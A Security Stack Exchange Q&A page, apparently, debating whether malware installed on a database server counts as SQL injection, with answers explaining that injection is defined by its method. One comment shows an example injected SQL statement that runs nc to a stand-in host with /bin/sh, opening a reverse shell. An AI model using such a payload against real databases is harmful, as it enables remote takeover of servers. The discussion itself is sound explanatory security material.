I know that SQL Injection attack can be done by injecting the application with SQL statements to retrieve info you are not authorized to get or to modify the data in an unauthorized way, as mentioned in this link https://www.w3schools.com/sql/sql_injection.asp.

But let's say someone installs malware inside the database server which modifies or retrieves data, does this count as a SQL injection attack?

  • 8
    Did they install malware using SQL injection or was it installed outside of the application? I.e. was SQL code injected or not?
    – schroeder
    Commented Jan 12, 2023 at 11:41
  • @schroeder i do not talk about specific case. i am asking an informative question.. not sure if someone can install malware using SQL .. is this technicqlly possible?
    – test test
    Commented Jan 12, 2023 at 11:54
  • 13
    of course they can install malware using SQLi, and it happens a lot - and the details of the scenario are crucial - even in a thought experiment
    – schroeder
    Commented Jan 12, 2023 at 11:55
  • 2
    Obligatory xkcd
    – Neil_UK
    Commented Jan 13, 2023 at 13:45
  • 1
    No. "Installing malware" is not an SQL injection attack. Commented Jan 15, 2023 at 0:08

3 Answers 3


No, that's not necessarily a SQL injection attack.

SQL injection specifically describes the scenario where I have a prewritten SQL statement that requires input parameters, and you exploit those input parameters to make my SQL statement do something else. For example, my application has a get_user(id) method, and you provide a specially crafted string instead of a valid user ID that makes my method do something else entirely, such as delete a specific user or return the list of people subscribed to the newsletter.

This attack can happen because I didn't sufficiently validate untrusted input or guard the SQL I want to run from attacks of this nature.

SQL injection does not describe, in general, running SQL against a database. It's just the attack of exploiting points where input is provided to a SQL statement. If I write my own malicious SQL statements and run them against a server, that's an attack that used SQL, just not a SQL injection attack.

If we pull off a successful malware attack and get our malware installed on a target system, that malware is now in a position to perform further attacks for us. If it connects to the database and starts running its own arbitrary SQL to control it, that's not SQL injection. It could, however, perhaps use my application's bad get_user(id) method to, in turn, perform SQL injection to execute that control.


SQL injection, and any other injection attack, is defined by the attack method not the effect or output. To quote your link:

SQL injection is the placement of malicious code in SQL statements

So, yes, if malware was placed on the database by means of injecting the malware through the SQL queries, then yes, that's a SQL injection attack.

If the malware was installed by any other method, then that installation is not SQL injection.

The malware might end up performing SQL injection as part of it's function, but your stated context is the installation.

  • 2
    @Lodinn take a look at SQLmap. It's a tool that can do exactly that if the conditions are exist on the target
    – schroeder
    Commented Jan 13, 2023 at 8:49
  • 1
    If you're looking at sqlmap, the place to look is dbms plugins (github.com/sqlmapproject/sqlmap/tree/master/plugins/dbms). Specifically the "takeover" functionality. It varies by DBMS, and in some cases the "takeover" functions just throw exceptions to say they're not implemented.
    – James_pic
    Commented Jan 13, 2023 at 10:47
  • 4
    @Lodinn many databases can reach out to external functions or commands - at the simplest, imagine something like SELECT 1 WHERE username = 'admin' AND password = '' OR '' = EXEC('nc pwnme.example 9001 -e /bin/sh') Commented Jan 13, 2023 at 12:18
  • 1
    Oh, thank you all so much. Apparently, my knowledge of SQLi was limited to unauthorized access/data loss/kittens dying. I knew of a bunch of other stuff like OPENROWSET out-of-channel attacks though, but the notion of someone thinking that shell access from a database server is a good idea somehow completely eluded me.
    – Lodinn
    Commented Jan 13, 2023 at 14:17
  • 1
    @Lodinn, ...if you read the PostgreSQL documentation (at least, traditional versions, I haven't kept up with whether this has changed in very new releases), they're very explicit that access to the database administrator's account should be considered fully equivalent to shell access as the account the database runs as. That's not an atypical position for databases of its vintage; it's common to support, say, loadable modules written in C (which someone running SQL as an admin can install), and being able to load or save data to disk... and combine those two things and there you are. Commented Jan 14, 2023 at 18:35

SQL injection is a pathway not a destination.

SQL injection can result in

  • Privilege escalation
  • Exfiltration,
  • Data modification
  • File modification
  • Arbitrary code execution

But let's say someone installs malware inside the database server which modifies or retrieves data, does this count as a SQL injection attack?

No. not unless the malware uses SQLI.

Installing the malware my be possible via SQLI but the software itself as you describe it is shellcode or a persistant threat.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .